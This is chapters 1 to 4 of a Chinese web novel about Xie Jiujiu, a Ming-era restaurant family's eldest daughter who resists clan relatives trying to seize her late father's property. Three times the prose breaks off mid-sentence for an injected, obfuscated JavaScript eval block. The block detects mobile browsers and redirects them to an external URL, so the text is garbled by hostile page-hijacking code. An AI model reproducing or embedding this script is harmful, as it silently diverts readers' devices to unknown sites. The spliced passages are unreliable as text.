《大明生活日常》 1. 第 1 章 “谢九九,昨天晚上怎么跟你说的。初一不许洗头,把财气都给洗走了。” “娘,别喊了。还不是老三,昨晚上买了那么多花炮给她放,您跟小二又管不住。你看看我这衣裳,年前新做的才穿了一天就被火星子给炸了,你不说她怎么还来说我。” 谢九九站在东厢房廊下等着铜壶里的热水烧开,看着她娘叉腰站在垂花门台阶上骂人的样子就好笑,“娘,大年初一不能骂孩子的,您别忘了这个,骂了我,我今年一年都不顺,到时候我可都怪你。” “呸呸呸,大过年的不许说不吉利的话。” 黄娟是一向拿家里这个大姑娘没法子的,这会儿见谢九九已经开始往铜盆里掺热水,张嘴还想说什么又什么都没说,一扭身往厨房去了。 谢九九是家里的老大,听说她出生那年家里一直生意平平的饭庄突然有了起色,谢德昌这个当爹的觉得是家里的大姑娘运道旺,干脆就给女儿取了个谢九九的名字。 理由也很简单直接,谢家是个人丁兴旺的大家族,只自己这一支一直人不旺。想要借谢九九这个运道好的闺女的运,最好这辈子能生足九个孩子就最好不过了。 谢九九她太爷在世的时候就一个独子,成亲以后靠着一副扁担,从乡下到镇上里挑着扁担卖凉面凉皮的小生意。 后来盘下个摊位不用走街串巷,等到谢九九他爷要成亲的时候家里才买了地搬到县城,买下个老房子拆了重新建,才有了现在住的这个前后两进的宅子。 从摊位到小饭铺再到现在谢家的云客来饭庄,谢家前后经营了三代人,到谢九九这一辈儿算是第四代。 家业算是小小的兴旺起来了,家里人口却一直不多。 谢九九她爷爷年轻的时候生了一儿一女,女儿嫁在隔壁县里。婆家姓周,家里在村里有些田产,置业在离村子只有小半天距离的镇上,日子不算富裕也不算差。 当年嫁女儿的时候,谢老爷子看中的就是周家本分,女婿是个读书人,虽然二十来岁考中了秀才以后就再没动静了,但女儿能嫁给秀才公,那也是自家的运道。 姑姑谢二娘嫁过去日子过得一直平平淡淡,谁知一直没考上举人的女婿,五年前居然考中了举人。 周姑爷这个秀才公这些年在家也赚钱,不管是给县里有钱的人家当西席教人读书,还是抽空在县衙里帮忙做个书吏,总之每月都能拿银子回家。 这么一个周全圆滑的人,中举以后压根没想着死磕再往上考。而是把家里能拿的积蓄都拿出来,上下托关系谋了个主簿的缺,带着谢姑妈去临省挺偏僻的一个县里赴任去了。 谢姑妈这么一走,谢家就没了嫡亲的亲戚。好在谢德昌跟谢九九的娘之后又生了一儿一女,老二谢文济老三谢芝娘,眼看着也是亲亲热热老大一家子人。 只可惜谢德昌的运不如谢九九的好,三年前过年前被几个朋友约出去吃饭喝酒,回来的路上不知道是吹了风还是怎么,第二天就嘴歪眼斜,中风了。 那会子马上就要过年了,县城里医术最好的大夫都回老家村里过年去了。 还是谢九九带着家里的老仆吴叔,长工双喜和家里的厨娘陈妈妈,赶了半天的路到了人家家里,把老大夫给请了来。 老大夫人好,当时就跟着赶回来了。但人这辈子什么寿数都是命,谢德昌躺在床上吊了大半个月,过完正月十五的第二天还是咽了气。 谢德昌这一走,留下一家子妇孺孩子,一向泼辣厉害的黄氏顿时就慌了。还是谢九九让老吴找人去把自家三个舅舅找了来,才稳住局面。 黄家大舅黄海是县衙户房里的吏员,一个连九品芝麻官都算不上的小吏,在县城这块地界上却是很说得上话的。 户房掌管一县土地户籍税收,这可都是跟老百姓息息相关的事情。县太爷是父母官,小老百姓等闲见不着。 县丞和主簿也是一个道理,上面的人朝下看,这不过是□□品芝麻小官,老百姓往上看,那就是等闲不敢多看一眼的大老爷。 反而是黄大舅这样户房里的吏员,跟城里的富户村上的村长、里正往来更多。 黄大舅是个精明人,偏生又长了一张憨厚的脸,这样一个人就是心里算盘珠子扒拉得震天响,人家面上也看不出来分毫。 姑爷走了,把妹妹和外甥们撇下,这事不好管却不能不管。还是谢九九把眼泪一抹,主动找上舅舅求他帮自己主事,这才算名正言顺。 黄二舅黄江是个老实头儿,胜在干活办事一向扎实靠谱。谢德昌一走,里里外外的事情他拿不了主意,但都是他在盯着办。 还有个小舅舅黄河比黄娟小八岁,是家里的老来子,上面有两个哥哥一个姐姐,从小就有些被惯坏了。 家里找关系给他寻摸的差事一个都干不长,从小学了些拳脚功夫,就乐意跟一群狐朋狗友在街面上混着。 平时靠做中人赚些润手的钱,养家要靠爹娘补贴,小祸不断大祸不闯,唯一的好处就是分得清里外,最是个护短的人。 有这么三个舅舅在,等到丧事办完,两家坐在一起商量谢德昌留下来的这些家业怎么办时,两家就都克制着。 黄家是舅舅,能护着妹妹外甥但不能说直接给谢家做主,人家谢家在鹿角镇鹿鸣乡也是挺大一个家族,闹开了对谁都不好。 谢家的亲戚都在底下镇上村上,收到人走了的消息赶过来就迟了一步。 黄家处处出头顶在前面,谢家憋了一肚子的闲话,还不好说什么。又顾忌着黄大舅在衙门里的关系,再是心里想要什么当时也没好意思说出来。 最后商量出来的结果,是孩子还小,黄娟跟谢德昌感情一向不错,不着急往前走那一步,先把守孝着三年踏踏实实守完了再说以后的事。 因着守孝不宜抛头露面,饭庄肯定得从外面另找一个掌柜,平时再由谢德昌的两个堂弟和一个幺叔管着,等这孤儿寡母的把三年的孝期守完了,再谈以后的事。 云客来的掌柜是黄大舅托人给找的,平时能插手饭庄经营的是谢家的人,反倒是黄娟带着三个孩子坐在一旁说不上话,活像是砧板上的肉,只能由着谢家族里的掂量来掂量去的摆布。 当时才十四岁的谢九九满肚子的气,想要掀了桌子放话说她谁也不靠,自己能把这个家撑起来。 可扭头看看从小就病病歪歪,因为爹去世又大病了一场,这会儿裹着兔皮袄子强撑着坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176315|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在自己身边十岁的弟弟,和虚岁才五岁的奶墩墩似的妹妹,再憋得难受的气也给咽回去了。 这三年,对于谢九九来说是守孝也是一个缓冲,没了爹的一个家该怎么维持下去,不是一句话两句话就能带过的。 少了一个人,家里的每一个人都要重新习惯。谢德昌是家里的顶梁柱,没了这根顶梁柱谢九九就得学会自己扛。 也就是到了这个时候了,谢九九再回想谢德昌这辈子见谁都带三分笑,在饭庄里支应的时候从来不发火是因为什么。 事缓则圆,当初要是在丧事办完以后自己就凭着一股气闹起来,只有吃亏的份儿。 谢家那么大一个家族的人隔得又不远,自己要是不能带着娘和弟弟妹妹连根搬走,就少不了跟族里打交道。既然断不了,就不能在自己没本事的时候,把路给走绝了。 三年时间说短不短,谢九九已经到了能嫁人成家的年纪,老二谢文济还是风一吹就得小心要病一场的身子,但十三岁的少年郎已经读书了。 家里做的是饭庄的生意,亏了什么也不会亏了一家子的吃。谢文济从去年就开始窜个子了,今年到了变声的时候说话公鸭子似的,芝娘老笑她哥,说话呱呱呱的。 就连最小的芝娘都八岁了,昨晚上给她拿一根线香,她都敢拿着炮仗从巷子这头放到巷子那头,小牛犊子似的浑身上下有使不完的劲儿。 谢九九洗完头发,坐在窗边由着丫鬟春儿给自己擦干,看着在厨房和堂屋间来回撺的妹妹心情着实不错。过完年就能除服了,脱孝很多之前不好做的事,就能好好掰扯掰扯了。 却不想有人比谢九九着急,大年初一的上午前面就传来敲门声,听说话的声音是谢家的堂叔。谢九九转头看了眼她娘,母女两个的脸色都算不上好看。 等住在前院的老吴开门把从镇上过来两个谢家堂叔和族里一个叔爷给请进来,母女两个才换了一副笑模样招待客人。 “文哥儿,快下来,幺叔爷和叔叔们都来了。” 谢九九是长女,又从小就是被谢德昌抱在手上在饭庄里长大的孩子。虽还是个没出嫁的姑娘,但她张罗招待客人,谁也没觉得有什么不对。 “不忙,不忙。今天过来就是给嫂子拜个年,顺便跟嫂子和侄儿说说明年云客来的安排。” 说话的是谢德昌的三堂弟谢宝柱,一个一脸精明都摆在脸上的厉害人。说是来拜年,其实还是为着谢家这些家产来的。 云客来的安排?等自家除服脱孝按理说这些家产就不用族里再帮着打理了,现在他黑不提白不提的就想要这么混过去,谢九九没等他再开口,就把他的话给堵了回去。 “三堂叔,今天大年初一,天大的事是不是也要等过完年再说。” 谢德昌没别的兄弟,一直以来都是跟堂兄弟们一起排续齿。 谢老爷子还在世的时候也是跟他的堂兄弟们这么排的,由于自家这一支人少,这堂叔其实已经是堂叔爷的儿子,论亲戚关系已然不是那么近了。 “正月十七我们几个就要给我爹除服,身上带着孝干什么都不好。您要不再等等,等我脱了身上这层孝,到时候肯定上家里去把这事说个清楚分明。” 2. 第 2 章 谢九九先一步把自家身上还带着孝的事一字一顿着重强调,把谢宝柱到了嘴边的话硬是给噎回去。 跟着一起来的幺叔爷年纪跟谢德昌相仿,当年谢德昌在世的时候两人的关系也最亲近。 不过他家在族里是旁支说了不算,当初能厚着脸皮讨来一个管云客来的名额,就很不容易了。有他这么个人在,即便什么都不干,谢宝柱他们多少也得收敛着些。 今天要往谢家来的本来只有谢宝柱和谢天佑,是路过幺叔爷家门口被他瞧见了,这才硬跟了过来。 见谢九九这么说,便帮着在一旁敲边鼓,“这大年初一的你们也是着急,我这个幺叔家你们都没去拜年,怎么就先到这儿来了。多大的事,急成这样。” 幺叔爷年纪轻辈分大,这话说出来就算是在挑谢宝柱二人的理了。 乡下过日子,不挑理的时候怎么都行,真要挑你的理,今天幺叔爷就是把谢宝柱的脸往地下踩,他也只能受着。 也就是到这会儿,谢天佑才拿膝盖撞了撞谢宝柱,怎么就一时忘了幺叔爷以前跟谢德昌关系好的事了。 今天有他在,有事也不能再说。两人含混着说了几句不咸不淡的客套话就起身往外走,谢文济把两人送出门,等听见前头的关门声,黄娟才冲着谢九九垮了脸色。 族里想要吞了云客来,这事压根不在谢九九的意料之外。 以前谢德昌还在世的时候,每个月盘账都是要带着谢九九一起去的。一年四季饭庄里粮油米面菜肉蛋什么时候贵什么时候便宜,什么节该多囤什么菜,谢九九八岁就门清了。 这三年云客来有黄家请的潘掌柜在管,但谢家那两个堂叔也是天天守在饭庄里的。经营一道上两人不比潘掌柜,手却是别谁都伸得长。 一家占地两层,一楼顶多能放下八张桌子,二楼粗粗隔出来三间雅间的小饭庄,光是管事的就四个人。这么着做生意,生意好不到哪里去是意料之中。 云客来所占的位置不在县城最核心的地方,独占了一个靠近南城城门的好处。 从南门一出城就是靠着湖泽的码头,湖泽连通着雁门江,码头上一年四季人来人往,饭庄再怎么也是不愁生意的。 可就是这么一个在谢德昌活着的时候,刨除成本和往来交际送出去的银子,一年到头起码能赚下三百两银子的饭庄,这三年,年年送到家里的都不过一百五十两。 第一年谢九九还问怎么这么少,潘掌柜是涨红了脸,说三节两寿跟衙门走关系送的礼都是谢家堂叔在负责,每次从账面上拿走的银钱都不是少数。 而一旁的谢宝柱则是掰着手指头给谢九九算,三节两寿送去衙门给各个老爷和六房吏员的礼花了多少银子。每一项都说得清来处,每一项的数额也都不真。 之后谢九九就不问了,人家给多少她就让她娘收下多少,问多了夹在中间尴尬的只有潘掌柜。 人家每年从云客来拿的工钱都是有数的,能替自己守住饭庄正常经营不走了大样子,就很难得了。 但云客来是自己家的,这三年让掌柜和谢家族人代管是逼不得已,日后总是要拿回来的吧。 谢宝柱拿云客来的银子上下打点到处走关系,得了人情的是他和族里,至于自家可是一点光都没沾上。就是云客来,在外人眼里以后到底是谁的产业都还难说。 每年年底拿到手的那一百多两银子,要说单纯过日子是绰绰有余。 要维持像家里以前那样的生活也不难,可要像爹爹在世的时候那么上下打点维持住人情关系,就只能动用家里的积蓄了。 守着孝的人家不好太高调,尤其像自家这种没了当家的爷们只剩下妇孺孩子的,稍微高调一点被族里抓住了把柄,有道理也能叫他们搅和成了没道理。 谢九九早就想好等脱了孝就得去族里一趟,没想到人家比自己着急,这才大年初一就先上门来了。 “姐,他们今儿来肯定没好事,你说这事怎么办。” “不着急,等过完年我自有我的办法。” 谢文济还想再问你的办法是什么办法,被黄娟摆摆手给拦了。自己的女儿自己清楚,谢九九这会儿看着神色如常其实是强压着火气,大过年的,可别再把这小祖宗给问急了。 黄娟和谢文济一想起族里人那些做派,晚上的饭都没吃好。 谢九九却还能笑着劝她娘赶紧多吃些,要不然等到睡觉前饿了再吃,肯定要长胖的。至于老二她就不管了,十三四岁的小郎君了,饿了自己弄吃的去,肯定饿不坏。 看着大女儿这幅万事不往心里去的样子,黄娟没好气的戳了她两指头。等到晚上真饿了,到厨房做了甜酒冲蛋端到女儿房里时,黄娟又抬手去摸自己戳过的地方。 “娘,明天去外公家吃饭,东西都准备好了没。” “年年都过去,这些事不用你来叮嘱。” 滚烫的糯米甜酒冲入搅散的鸡蛋里,一边倒一边把鸡蛋搅散成絮状。 黄娟舍得放鸡蛋,做出来的甜酒冲蛋就特别稠,冲好了再加一大勺冷甜酒糟和提前煮好的汤圆,香香甜甜的别提多好吃了。 “白天老二问你,你说你有办法,有什么办法不能提前跟娘说说。” “那不行,有些法子现在说出来就不灵了。得先看人家出什么招,我才好见招拆招。” 汤圆是黑芝麻馅的,甜丝丝又带着芝麻香,给谢九九的碗大,一碗里装了八个汤圆。谢九九一口一个吃得眼睛都眯起来,好似白天的事她是真没往心里去。 “还见招拆招,我还不知道你,先礼后兵,讲道理讲不过就耍横,要是耍横还没用就拼命,是不是。” 这些都是谢德昌在世的时候抱着女儿哄的时候说过的话,那时候黄娟只当笑话听。回头还跟丈夫说,那么丁点大的小孩动什么不横不横的。 谁知女儿像爹,闺女越长大就越像丈夫。瞧着见谁都先带三分笑,其实不管做什么心里都已经把那道线给划下来了。 没过她那道线怎么都好说,要是非要踩着她底线,那就瞧着吧,甭管想什么法子,她都得叫那人吃亏认栽不可。 谢九九被她娘念叨也不嫌烦,吃完甜酒冲蛋把空碗放回厨房,拐弯就进了黄娟住着的正屋,非要跟她娘挤在一个被窝里睡。 按着习俗,初一在家过年,初二回娘家吃饭。不管谢家那些人心里打着什么小算盘,该过的年还得过。 次日一早,黄娟带着三个孩子回娘家,家里大哥二哥两口子都在,只有老四黄河带着媳妇回她娘家那边去了。 “本来老四说等初四再陪罗氏回去多住几天,前几天亲家公那边送了消息过来,说是罗氏远嫁的姑姑今年回家过年,我昨天就让老四带着罗氏和老幺回去了。” 黄河虽是不务正业,一天到晚的在街面上闲逛,但架不住黄家这几个孩子都长得好。 罗氏娘家在隔壁县城开小武馆的,黄河就是去隔壁县找朋友喝酒,路过武馆被人家的小姐给看上了的。 县城小武馆里的武师,基本都有好几份兼差。要么在镖局里挂单,要走镖的时候充当镖师,要么给富户人家当护院。 这次罗家两个姑奶奶回来,就是有武馆的徒弟走镖到了当地,罗家老爷托徒弟带了不少东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176316|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西送过去,人家算日子马上就要过年,一动心干脆就收拾东西,跟着徒弟一起回娘家探亲来了。 “那是该回去,听说弟妹那姑姑都十来年没回来了,这要不过去才是怠慢了人家。” 黄河不务正业,虽然时不常总能从外面弄些银子回家,可这不是长久之道。 人娘家在隔壁县城开着小武馆,不说这些年教徒弟赚的钱,光是罗家把这些徒弟介绍到镖局富户家里去当差,这中间的润手银子和每年徒弟孝敬的钱,就不是一笔小数。 靠模样娶回来的媳妇,再过十年老四还能这么精神不?到时候出息没出息模样没模样的,要是还学不会哄老丈人高兴,罗氏且不乐意跟他过。 “要我说这次就让他们在罗老爷子那边多住些日子,干脆住过了十五再回来。” “十五回来就十五回来,老四不在家我省心得多。” “过完十五你们就要除服了吧,咱们家姑爷走了三年了,这日子过得太快了。” “快什么啊,可算三年了。等脱了孝九九就该相看人家了,您帮我注意着,有那长得好的留心些,” “这还要你说,什么模样不模样的,人品好最要紧……” 谢九九的外婆赵氏只有黄娟这么一个闺女,她一回来母女两个坐在一起就有说不完的话。 东一句西一句的什么都能扯上几句,听得挨着黄娟坐着的小三儿谢芝娘满脑袋浆糊,抬头去看她娘,怎么上一句跟下一句都不连着,娘和外婆还能聊得这么好。 谢九九不管她娘跟外婆说什么,反正只要不提昨天的事就行。她坐在大舅身边说话,问的都是衙门里的事,大小事情当故事听,黄大舅乐意说她也愿意听。 谁知中午刚放完鞭炮准备吃饭,住在同一条巷子里的王婆子就踩着小脚过来了。 “田婆婆,您老怎么这个时候过来了,我田姐姐今天还没带女婿回来啊。” “早回来了,一大早的就带着好长一条肉和两只鸡回来了。” 田婆子是个看上去大概五十岁上下的小脚老太太,以前据说也是富户人家的姑娘,要不然也不能把那双脚缠得那样小。 她搬到这条巷子里时,就是独自一人带着两个闺女,这些年靠给人保媒拉纤和接些零散活计为生。因为人长得利落干净,说话有谱不胡说八道,在县城里都是有名的私媒婆。 “九九你来,婆婆跟你说句话。” “婆婆,您是不是给我物色到什么好人家,都等不及过完年了?” 谢九九起身时顺手拿了两个红糖鸡蛋一把缠糖和松子糖拿手帕包好塞给田婆子,甭管是来干嘛的,大过年的上门人家就是有心了。 “跟你说个事,昨天你们家有人找裴家那小子写给衙门送礼要用的帖子,等着的时候说话间那意思好像是不想把你家的产业还回来,这事你千万上点心,可别在这上头吃亏。 “多谢婆婆,这事我晓得了。过完年我家还要忙除服的事。您先帮我给跟您送消息那人道个谢,等我这边脱了孝再去找您说话。” 田婆子三言两语把话说清楚就行,也不多留。她清楚谢家是谢九九当家,这事只要告诉了她让她心里有个底就行了。 田婆子来得快走得更快,黄娟正跟黄二舅家的小闺女逗乐压根没注意这边说了什么。谢文济倒是注意了,“姐,田婆婆找你什么事。” “跟我介绍了个好人家的儿子,等过完年就去家里说这事。” 谢九九张嘴就来,一家子老小没人不信,连谢文济都皱着眉操心道:“什么人田婆婆倒是说清楚些,先让我偷偷去打听过再说啊。” 3. 第 3 章 田婆婆也就是受人所托给谢九九提个醒,出了黄家的门就不再提及这事,连家里女儿女婿问起她也只摆摆手,随便找了个借口糊弄过去。 这种事就算提前知道了也不能主动去闹,谁稳得住谁占优势,谢九九现在都巴不得族里先闹起来。 要不然他们就这么黑不提白不提的,自己主动去要反而落了下乘。 人家会说族里好心好意帮你们孤儿寡母料理产业还成错处,把族里的人得罪干净了,云客来要回来也很难维持下去。 这事谢九九搁在心里谁也没说,直到正月十七谢家一家子带着准备好的东西,回到鹿鸣村的祖坟山上,把除服的仪式做完,还没来得及上马车,就被谢家族老给拦住了。 “初一那天,宝柱和天佑去给你们拜年,本是有几件大事要跟你们商量。你们说要等给德昌出了孝期再说,现在孝也脱了,事情是不是能说了。” “族爷,您说得没错,我父亲当初走得急,这几年我跟我娘和弟妹全靠族里帮衬,才把这三年熬过来,我也正有事要跟您商量呢。” “中午我在镇上祥云楼定了席面,要不咱们先去吃饭,吃完了饭再说。” 给亲爹脱孝,一家子真就是天还没亮就从家里出发,把所有事情都办完其实也才巳时(上午十点)中,离吃中午饭的时间还早。 鹿鸣村紧挨着鹿角镇,坐马车过去不到半个时辰就能到,走路的话村里人脚程快,大半个时辰怎么也够了。 祥云楼是镇上最好的酒楼,谢九九一说是在祥云楼定了席面,好些本来不打算去的人也愿意去凑这个热闹。 一是看看谢德昌留下来的这点家业到底怎么办,二是蹭一顿好饭。正月十七年过完了又还是农闲的时候,好些人家里一天两顿都是稀的,得有几天没见过肉了。 谢九九专门扯着嗓子说的话,中午祥云楼整个一楼被谢家人包圆了大半。 没有家家都来,但至少每家都来了个能主事的男人,有几个性子利索好热闹的婶子也跟着来了,就为了看个热闹。 一桌饭菜五钱八银子,是祥云楼上等的席面。没有那么些花里胡哨的菜色,都是大鱼肘子整鸡整鸭这样的大菜,吃得好些人都说九九这丫头实在,请客不来虚的。 族爷连同族里几个老人坐在主桌,席面都是一样的,但谢九九给他们一人单点了一盅冰糖血燕,甜白的瓷盅里血燕看着红丝丝的,勺子舀起来吃一口又甜丝丝的。 要说味道有多稀罕倒也不至于,就是谢九九这个捧着长辈的态度叫人舒服,特别的舒服。这一舒服,就更加觉得谢德昌留下来的妇孺孩子极好拿捏。 等吃了饭,几个族老连家都不回,坐在饭桌上把谢九九叫到跟前,像是宣布一个无关紧要的消息一样,“你们孝也守完了,你的亲事是不是该定下来了。” “族爷,我的亲事有我娘和舅舅操心,不着急。” 谢九九笑着从隔壁一张空出来的桌子旁抽过一张椅子坐下,她可没有一直弯着腰听训的习惯。 “你娘?”族爷皱着眉看了一眼带着谢芝娘跟女人们一起坐在最远最角落那一桌的黄娟,“你娘年纪还轻,我们谢家也无意强留寡妇守节。” “正好,你四婶子娘家有一远房外甥为了读书耽误了成家娶妻,要是那边不嫌弃,把你妈嫁到那边去,倒是可行。” 老头儿席上多喝了几杯,酒就是镇上酒作坊里酿的浊酒,祥云楼买回来再卖,基本上镇子上的人都喝这种,因为便宜其实不怎么醉人。 谢九九看着眼前这个借着酒劲装疯卖傻的老头,勉强维持的笑意渐渐冷淡下来。抬手冲坐在另一桌陪客人的谢文济招招手,“你来。” “族爷,您说的那人,是在鹿角镇上都出了名的那个二赖子吗。” 谢文济走过来站在自家大姐身边,虽然身量单薄却也挺拔,虽然听了个没头没尾但也大概猜到了是什么事情。 “那人我也认识,为了赌钱把家里的地和房子都输了,记着他们家的地大半都是被族爷家买了去。他是读书人,读的哪门子书啊。” “你!”老头儿没想到刚刚还笑盈盈一副乖顺模样的谢九九,和一直沉默少言老实头儿一样的谢文济,会一出口就把自己的脸面往下撕。 偏偏谢文济不说这桩亲事不成,只说那人不行。捎带手还把自己也攀扯进去,用极低的价钱把儿媳妇外甥家的祖产买下来是多风光的事吗。 这事族里知道的人都不多,也不知道这俩在家守孝的小崽子是怎么知道的。 族爷为什么会成为族爷,就因为他这一辈儿他最能活。还有两个同辈份的老人儿都糊涂了,一个姓的宗族里可不就只剩下他能倚老卖老,充大辈儿了。 老头儿脾气并不好,被两个没了爹的小家伙当众下了面子,脸上已经添了愠怒。 还没等他拍桌子骂人,就听见脑袋顶上传来两声咳嗽。抬头一看,不知道什么时候谢九九身后多了两个五大三粗的汉子,不说话就这么直勾勾的盯着他。 人是小舅黄河从岳老子家借来的,正经的练武的汉子,健硕的膀子把短袄袖子撑得鼓鼓的,眉心有一道竖纹看上去就凶神恶煞,一下子就把那族爷到了嘴边的话给吓回去了。 “今天办的是咱们谢家的事,你这丫头怎么把外人给招来了。” “族爷放心,都不是外人,这两位是我小舅妈娘家的表舅,都是实打实的亲戚。” 当初族里说光靠黄大舅请来的潘掌柜不能放心,一定要让族里出人一起打理云客来的时候,说的便是族里都是实打实的亲戚,绝不会哄骗自家人。 现在这话再从谢九九嘴里说出来,多少是有些讽刺的。 族爷把谢九九叫到跟前的动静不小,这会子整个祥云楼都安静下来,不光是谢家人眼巴巴的看着,就是零星几桌别的客人和掌柜也都等着看热闹。 这种族里出面要抢孤儿寡母家产的事不是没有,但大多数都是传闻,现在正儿八经碰上了谁都好奇。 “你娘的事也不那么着急,倒是九九你的年纪大了,亲事耽误不得了。你爹还活着的时候最喜欢你,你可得好好成个家,让他放心啊。” 接话的是坐在族爷另一边的,按着远近谢九九该叫他一声二叔。以前跟家里的关系不错,现在帮着族里谋划家里的产业出力也不少。 “二叔,这事不劳烦您费心。我娘是个直肠子,有什么话从来不会搁在肚子里过夜。 这些年她都和我爹一起生了我们三个了,如今爹爹去世了,我们就光想着把娘推出去再嫁人,这成什么了。” 谢九九真就猜到了族里的打算,想要吃孤儿寡母留下来的产业无非那么几条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176317|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路。 谢家不像旁人家想要把黄娟留下来守寡守节,而是恨不得推着她赶紧再嫁。在他们看来,女人只要再嫁就跟前头男人家没关系了。 谢德昌留下来的财产黄娟也不要想带走,这都是要留给几个孩子的。为此这几年家里来了多少族中的婶子嫂子,旁敲侧击的都是劝她再走一步,话里话外都是为她着想的意思。 等黄娟一嫁人,他们就能更加名正言顺的插手自己的亲事。把自己这个最大的姑娘嫁出去,家里就只剩下从小身体不好的谢文济和还不懂事的谢芝娘。 到时候,谢家族里替两个孩子代管家产,就更加没人能置喙什么了。等到谢文济长大要成家,谢德昌留下来的这点家业还剩下多少,就不好说了。 或者把人心想得再险恶些,谢文济还能不能活到成家立业的那一天,都未可知。只要谢文济一死,自家就真成了绝户。到时候谢芝娘是死是活恐怕也没人在意了。 “我娘不嫁,老二身子不好又要读书,芝娘还不懂事,您说这一家子人我怎么能放心的下。” 谢九九说这话的时候还是笑着的,但眸子里却一丝笑意都没有,“所以啊,我跟我外公舅舅都商量好了我不嫁人,我要招赘婿。” 这话说出来,族里所有人都变了脸色。赘婿招进来就是谢家人,谢家有儿子有女婿的,那这云客来和谢德昌留下来的好几百亩水田,族里可就真没有理由继续代管了。 “你这……”族里几个族老和谢宝柱、谢天佑几人在族里再说得上话,其实说白了也就是普通的平头百姓。 谢九九抓了先机一个消息紧跟着一个消息往外抛,不给他们反驳和反应的机会,他们一下就懵了。想反对又一时间找不到合适的说辞。 “族爷,您放心。我招了女婿回家就是给咱们谢家添丁进口,是好事啊。到时候云客来有我和我家姑爷守着,您当长辈的也能放心不是。” 谢九九抬眼去看众人神情各异的样子,没给老头儿插嘴的机会又抛出一句惊到众人的话,“族爷,我知道这几年我们能安安心心守孝,都是多亏了族里。” “如今文济在读书,我爹当年走之前又千叮咛万嘱咐,说一定要让文济以后读书上进考科举。 这事我不敢忘,我想以我爹的名义在村上办一家私塾,房子可以用我家留在村上的老房子。先生一年所需的束脩我问过,老童生一年三十两,秀才公一年五十两。” 家里的田产都在鹿鸣村,这几年自然也是由着族人代管。家里一共有三百亩上好的水田,二百亩中田,如今天下太平,这样好的田就是有银子也没地方买去。 一亩中田按照年景平均一下,大概能出两石米左右,二百亩便是四百石。一两银子能买两石米,四百石能换来二百两银子。 这是纯产出,这二百亩是五户佃农在耕种,因着五家里有四家是同姓的人家,这么些年都是五五分账。再刨去各种赋税杂税,每年换成银子能拿到手的也就八十两上下。 私塾不是说光请个先生就能上课的,一日三餐要准备,冬天还要准备炭火木柴。还有灯油笔墨纸砚,瞧着细碎可真到了用的时候处处都是要花钱的地方。 “既如此,我想着就把那二百亩中田的所得拿出来,紧着私塾里用。也算是我们家为族里做的一点实事,您说这事能不能行。” 4. 第 4 章 好不好?当然好。甭管几个族老和谢宝柱他们脸色怎么铁青难看,都有族人扯着嗓子说好。 大家又不是傻子,都知道他们是在明晃晃的算计谢德昌的产业。 不过因为族爷家的老二是村上的里正,谢宝柱和谢天佑家里人丁旺颇有些田产,在村上算是两家大户。 为了一家子妇孺去跟他们唱反调,怎么算都是吃亏的,大家才睁一只眼闭一只眼装作不知道罢了。 之前谢宝柱倒是放出过话风来,说是他们绝不霸占谢德昌的家业,代管云客来赚的银子都是要交到族里去,等到族中有大事的时候才能拿出来用。 话说得好听,可这三年族中除了他们又有谁见过那些银子了。 以前给谢德昌做佃户,要是碰上年成不好是可以缓着交租的。这三年那几户人家,甭管好不好家里是不是有事,一分钱的租子都不能少。 可他转过头去谢家,又以年成不好、杂税徭役往上涨了为由左右克扣。这些钱还不是都进了他们几家人的口袋,至于其他人又何曾见过一个铜板。 现在谢九九当着这么多人的面说要给村里弄个私塾,连他们家在村上的房子都愿意腾出来给孩子上学用,这才是落到实处的好处。 鹿鸣村,听这个名字就知道早些年也是出过读书人的。不过是近些年村上没出过什么读书人,供孩子读书又实在太费银子,才没人提这事了。 谢九九愿意花钱把先生请回来,别管是老童生还是秀才公,给村里的孩子启蒙怎么也够了。 不求真读出个状元郎,就是能多认识几个字,以后大了去县城府城谋生,甭管是当学徒还是做长工,都比旁人要强些就行了。 至于族爷他们,这事要是搁在三年前,他们不松口不管是谢家还是族里其他人都毫无办法。 但今年年底就该换里正了,按着规矩里正八年一换。族爷家的二儿子当了八年的里正,不说做得天怒人怨也没笼络下多少人心。 事到临头想起来抱佛脚了,族爷家还想要推自家的老幺上去,他家老二带着弟弟把村上家家户户都走遍了。 好话说了一箩筐,人家都拍着胸脯说到时候肯定选他,但到时候的事还算数不算数,谁也说不准。 而另一户想要里正之位的是谢宝柱和谢天佑。 八年前他们家虽然人丁旺兄弟多,但家里没钱啊,属于在村上穷横穷横的人家。 这几年从云客来榨了不少银子,但他们不懂经营,眼看着云客来生意越来越差,他们也知道这事许是长久不了。 最好还是自家也能当一任里正,当上了就是八年,到时候想要什么没有。 